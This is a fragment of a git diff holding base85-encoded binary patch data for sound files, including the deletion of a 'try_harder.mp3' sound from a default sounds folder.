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 Jpe1DG{|6cx*tP%w literal 0 HcmV?d00001 diff --git a/data/sounds/default/try_harder.mp3 b/data/sounds/default/try_harder.mp3 deleted file mode 100755 index 56aa733c152d9c56928adb032864589e4b84ebab..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 19668 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 